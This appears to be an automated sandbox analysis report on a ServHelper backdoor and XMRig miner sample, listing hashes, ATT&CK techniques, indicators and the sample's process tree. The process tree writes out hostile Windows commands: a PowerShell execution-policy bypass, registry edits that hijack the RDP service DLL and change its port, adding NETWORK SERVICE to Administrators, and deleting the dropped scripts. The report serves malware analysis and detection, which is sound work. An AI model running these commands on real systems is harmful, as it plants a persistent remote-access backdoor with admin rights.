servhelper | f464dae032967264173885899186be9eac89bd2016ded5ebc38c705fa6b1b625

Analysis

max time kernel
127s
max time network
124s
platform
windows10_x64
resource
win10-en-20211014
submitted
16-10-2021 09:43

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

f464dae032967264173885899186be9eac89bd2016ded5ebc38c705fa6b1b625.exe
Size

6.7MB
MD5

2e3b62f4f1669b3615608ea31e1796dd
SHA1

9f9584588e480c0cfc18b770da47b00919e24219
SHA256

f464dae032967264173885899186be9eac89bd2016ded5ebc38c705fa6b1b625
SHA512

2879f87ce2e3c075512408fbdb17a01209663c2f635c3e07cec1d8e9b1f0490c9219eea2229dcd5863467435d35bef874e9d5fd243e46b02850d0157288b95af

Score

10^/10

servhelper xmrig agilenet backdoor miner persistence trojan

Malware Config

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Executes dropped EXE 1 IoCs

pid	Process
3204	InstallUtil.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

Deletes itself 1 IoCs

pid	Process
964	powershell.exe

Obfuscated with Agile.Net obfuscator 2 IoCs

Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

agilenet

resource	yara_rule
behavioral1/memory/8-122-0x0000000007310000-0x0000000007331000-memory.dmp	agile_net
behavioral1/memory/8-125-0x0000000005EB0000-0x00000000063AE000-memory.dmp	agile_net

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\rdpclip.exe	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 8 set thread context of 3204	8	f464dae032967264173885899186be9eac89bd2016ded5ebc38c705fa6b1b625.exe	69

Drops file in Windows directory 8 IoCs

description	ioc	Process
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
680	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
8	f464dae032967264173885899186be9eac89bd2016ded5ebc38c705fa6b1b625.exe
8	f464dae032967264173885899186be9eac89bd2016ded5ebc38c705fa6b1b625.exe
964	powershell.exe
964	powershell.exe
964	powershell.exe
4028	powershell.exe
4028	powershell.exe
4028	powershell.exe
1476	powershell.exe
1476	powershell.exe
1476	powershell.exe
4028	powershell.exe
4028	powershell.exe
4028	powershell.exe
964	powershell.exe
964	powershell.exe
964	powershell.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
636	Process not Found

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	8	f464dae032967264173885899186be9eac89bd2016ded5ebc38c705fa6b1b625.exe
Token: SeDebugPrivilege	964	powershell.exe
Token: SeDebugPrivilege	4028	powershell.exe
Token: SeDebugPrivilege	1476	powershell.exe
Token: SeDebugPrivilege	4028	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 8 wrote to memory of 3204	8	f464dae032967264173885899186be9eac89bd2016ded5ebc38c705fa6b1b625.exe	69
PID 8 wrote to memory of 3204	8	f464dae032967264173885899186be9eac89bd2016ded5ebc38c705fa6b1b625.exe	69
PID 8 wrote to memory of 3204	8	f464dae032967264173885899186be9eac89bd2016ded5ebc38c705fa6b1b625.exe	69
PID 8 wrote to memory of 3204	8	f464dae032967264173885899186be9eac89bd2016ded5ebc38c705fa6b1b625.exe	69
PID 8 wrote to memory of 3204	8	f464dae032967264173885899186be9eac89bd2016ded5ebc38c705fa6b1b625.exe	69
PID 8 wrote to memory of 3204	8	f464dae032967264173885899186be9eac89bd2016ded5ebc38c705fa6b1b625.exe	69
PID 8 wrote to memory of 3204	8	f464dae032967264173885899186be9eac89bd2016ded5ebc38c705fa6b1b625.exe	69
PID 8 wrote to memory of 3204	8	f464dae032967264173885899186be9eac89bd2016ded5ebc38c705fa6b1b625.exe	69
PID 8 wrote to memory of 3204	8	f464dae032967264173885899186be9eac89bd2016ded5ebc38c705fa6b1b625.exe	69
PID 3204 wrote to memory of 964	3204	InstallUtil.exe	71
PID 3204 wrote to memory of 964	3204	InstallUtil.exe	71
PID 3204 wrote to memory of 964	3204	InstallUtil.exe	71
PID 964 wrote to memory of 1636	964	powershell.exe	73
PID 964 wrote to memory of 1636	964	powershell.exe	73
PID 964 wrote to memory of 1636	964	powershell.exe	73
PID 1636 wrote to memory of 1512	1636	csc.exe	74
PID 1636 wrote to memory of 1512	1636	csc.exe	74
PID 1636 wrote to memory of 1512	1636	csc.exe	74
PID 964 wrote to memory of 4028	964	powershell.exe	75
PID 964 wrote to memory of 4028	964	powershell.exe	75
PID 964 wrote to memory of 4028	964	powershell.exe	75
PID 964 wrote to memory of 1476	964	powershell.exe	77
PID 964 wrote to memory of 1476	964	powershell.exe	77
PID 964 wrote to memory of 1476	964	powershell.exe	77
PID 964 wrote to memory of 4028	964	powershell.exe	79
PID 964 wrote to memory of 4028	964	powershell.exe	79
PID 964 wrote to memory of 4028	964	powershell.exe	79
PID 964 wrote to memory of 1488	964	powershell.exe	83
PID 964 wrote to memory of 1488	964	powershell.exe	83
PID 964 wrote to memory of 1488	964	powershell.exe	83
PID 964 wrote to memory of 680	964	powershell.exe	84
PID 964 wrote to memory of 680	964	powershell.exe	84
PID 964 wrote to memory of 680	964	powershell.exe	84
PID 964 wrote to memory of 1864	964	powershell.exe	85
PID 964 wrote to memory of 1864	964	powershell.exe	85
PID 964 wrote to memory of 1864	964	powershell.exe	85
PID 964 wrote to memory of 2068	964	powershell.exe	86
PID 964 wrote to memory of 2068	964	powershell.exe	86
PID 964 wrote to memory of 2068	964	powershell.exe	86
PID 2068 wrote to memory of 1972	2068	net.exe	87
PID 2068 wrote to memory of 1972	2068	net.exe	87
PID 2068 wrote to memory of 1972	2068	net.exe	87
PID 964 wrote to memory of 2304	964	powershell.exe	88
PID 964 wrote to memory of 2304	964	powershell.exe	88
PID 964 wrote to memory of 2304	964	powershell.exe	88
PID 2304 wrote to memory of 2284	2304	cmd.exe	89
PID 2304 wrote to memory of 2284	2304	cmd.exe	89
PID 2304 wrote to memory of 2284	2304	cmd.exe	89
PID 2284 wrote to memory of 2196	2284	cmd.exe	90
PID 2284 wrote to memory of 2196	2284	cmd.exe	90
PID 2284 wrote to memory of 2196	2284	cmd.exe	90
PID 2196 wrote to memory of 1724	2196	net.exe	91
PID 2196 wrote to memory of 1724	2196	net.exe	91
PID 2196 wrote to memory of 1724	2196	net.exe	91
PID 964 wrote to memory of 1384	964	powershell.exe	92
PID 964 wrote to memory of 1384	964	powershell.exe	92
PID 964 wrote to memory of 1384	964	powershell.exe	92
PID 1384 wrote to memory of 3264	1384	cmd.exe	93
PID 1384 wrote to memory of 3264	1384	cmd.exe	93
PID 1384 wrote to memory of 3264	1384	cmd.exe	93
PID 3264 wrote to memory of 3512	3264	cmd.exe	94
PID 3264 wrote to memory of 3512	3264	cmd.exe	94
PID 3264 wrote to memory of 3512	3264	cmd.exe	94
PID 3512 wrote to memory of 3004	3512	net.exe	95

C:\Users\Admin\AppData\Local\Temp\f464dae032967264173885899186be9eac89bd2016ded5ebc38c705fa6b1b625.exe
"C:\Users\Admin\AppData\Local\Temp\f464dae032967264173885899186be9eac89bd2016ded5ebc38c705fa6b1b625.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:8
- C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe
  "C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3204
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
    3⤵
    - Deletes itself
    - Drops file in System32 directory
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:964
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\swwk0kcn\swwk0kcn.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1636
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8A3B.tmp" "c:\Users\Admin\AppData\Local\Temp\swwk0kcn\CSCBA413C0FAB3444CF8999DAC8421F5270.TMP"
        5⤵
        
        PID:1512
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4028
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1476
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4028
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
      4⤵
      PID:1488
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
      4⤵
      Modifies registry key
      PID:680
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
      4⤵
      PID:1864
  - - C:\Windows\SysWOW64\net.exe
      "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2068
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        5⤵
        
        PID:1972
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2304
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2284
      - C:\Windows\SysWOW64\net.exe
        
        net start rdpdr
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2196
        
        C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        7⤵
        
        PID:1724
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1384
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3264
      - C:\Windows\SysWOW64\net.exe
        
        net start TermService
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3512
        
        C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start TermService
        7⤵
        
        PID:3004
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
      4⤵
      PID:3776
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
      4⤵
      PID:2952

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/8-126-0x0000000003860000-0x000000000386B000-memory.dmp

Filesize
44KB

Download
memory/8-127-0x00000000075A0000-0x00000000075A1000-memory.dmp

Filesize
4KB

Download
memory/8-125-0x0000000005EB0000-0x00000000063AE000-memory.dmp

Filesize
5.0MB

Download
memory/8-124-0x0000000007370000-0x0000000007371000-memory.dmp

Filesize
4KB

Download
memory/8-123-0x00000000073B0000-0x00000000073B1000-memory.dmp

Filesize
4KB

Download
memory/8-122-0x0000000007310000-0x0000000007331000-memory.dmp

Filesize
132KB

Download
memory/8-121-0x0000000005EB0000-0x00000000063AE000-memory.dmp

Filesize
5.0MB

Download
memory/8-115-0x0000000000EA0000-0x0000000000EA1000-memory.dmp

Filesize
4KB

Download
memory/8-120-0x00000000062C0000-0x00000000062C1000-memory.dmp

Filesize
4KB

Download
memory/8-119-0x0000000005EB0000-0x0000000005EB1000-memory.dmp

Filesize
4KB

Download
memory/8-118-0x0000000005DE0000-0x0000000005DE1000-memory.dmp

Filesize
4KB

Download
memory/8-117-0x00000000063B0000-0x00000000063B1000-memory.dmp

Filesize
4KB

Download
memory/964-175-0x0000000007690000-0x0000000007691000-memory.dmp

Filesize
4KB

Download
memory/964-158-0x0000000008200000-0x0000000008201000-memory.dmp

Filesize
4KB

Download
memory/964-148-0x0000000003730000-0x0000000003731000-memory.dmp

Filesize
4KB

Download
memory/964-149-0x0000000003730000-0x0000000003731000-memory.dmp

Filesize
4KB

Download
memory/964-150-0x00000000073C0000-0x00000000073C1000-memory.dmp

Filesize
4KB

Download
memory/964-151-0x0000000007A70000-0x0000000007A71000-memory.dmp

Filesize
4KB

Download
memory/964-152-0x00000000080E0000-0x00000000080E1000-memory.dmp

Filesize
4KB

Download
memory/964-153-0x0000000008260000-0x0000000008261000-memory.dmp

Filesize
4KB

Download
memory/964-155-0x0000000008440000-0x0000000008441000-memory.dmp

Filesize
4KB

Download
memory/964-156-0x0000000007430000-0x0000000007431000-memory.dmp

Filesize
4KB

Download
memory/964-157-0x0000000007432000-0x0000000007433000-memory.dmp

Filesize
4KB

Download
memory/964-159-0x0000000008BD0000-0x0000000008BD1000-memory.dmp

Filesize
4KB

Download
memory/964-160-0x0000000008B50000-0x0000000008B51000-memory.dmp

Filesize
4KB

Download
memory/964-177-0x0000000007433000-0x0000000007434000-memory.dmp

Filesize
4KB

Download
memory/964-162-0x0000000003730000-0x0000000003731000-memory.dmp

Filesize
4KB

Download
memory/964-166-0x000000000A030000-0x000000000A031000-memory.dmp

Filesize
4KB

Download
memory/964-167-0x0000000009880000-0x0000000009881000-memory.dmp

Filesize
4KB

Download
memory/964-198-0x0000000009C60000-0x0000000009C61000-memory.dmp

Filesize
4KB

Download
memory/964-1082-0x000000007F6F0000-0x000000007F6F1000-memory.dmp

Filesize
4KB

Download
memory/1476-464-0x0000000004EF2000-0x0000000004EF3000-memory.dmp

Filesize
4KB

Download
memory/1476-489-0x000000007E820000-0x000000007E821000-memory.dmp

Filesize
4KB

Download
memory/1476-463-0x0000000004EF0000-0x0000000004EF1000-memory.dmp

Filesize
4KB

Download
memory/3204-142-0x0000000005272000-0x0000000005273000-memory.dmp

Filesize
4KB

Download
memory/3204-131-0x0000000000960000-0x0000000000D6B000-memory.dmp

Filesize
4.0MB

Download
memory/3204-138-0x0000000005690000-0x0000000005A8F000-memory.dmp

Filesize
4.0MB

Download
memory/3204-136-0x0000000000960000-0x0000000000961000-memory.dmp

Filesize
4KB

Download
memory/3204-141-0x0000000005270000-0x0000000005271000-memory.dmp

Filesize
4KB

Download
memory/3204-134-0x0000000000960000-0x0000000000D6B000-memory.dmp

Filesize
4.0MB

Download
memory/3204-143-0x0000000005273000-0x0000000005274000-memory.dmp

Filesize
4KB

Download
memory/3204-144-0x0000000005240000-0x0000000005241000-memory.dmp

Filesize
4KB

Download
memory/3204-146-0x0000000005274000-0x0000000005275000-memory.dmp

Filesize
4KB

Download
memory/4028-201-0x0000000004870000-0x0000000004871000-memory.dmp

Filesize
4KB

Download
memory/4028-814-0x000000007EBA0000-0x000000007EBA1000-memory.dmp

Filesize
4KB

Download
memory/4028-719-0x0000000004DB2000-0x0000000004DB3000-memory.dmp

Filesize
4KB

Download
memory/4028-718-0x0000000004DB0000-0x0000000004DB1000-memory.dmp

Filesize
4KB

Download
memory/4028-229-0x000000007EEC0000-0x000000007EEC1000-memory.dmp

Filesize
4KB

Download
memory/4028-209-0x0000000007032000-0x0000000007033000-memory.dmp

Filesize
4KB

Download
memory/4028-208-0x0000000007030000-0x0000000007031000-memory.dmp

Filesize
4KB

Download
memory/4028-200-0x0000000004870000-0x0000000004871000-memory.dmp

Filesize
4KB

Download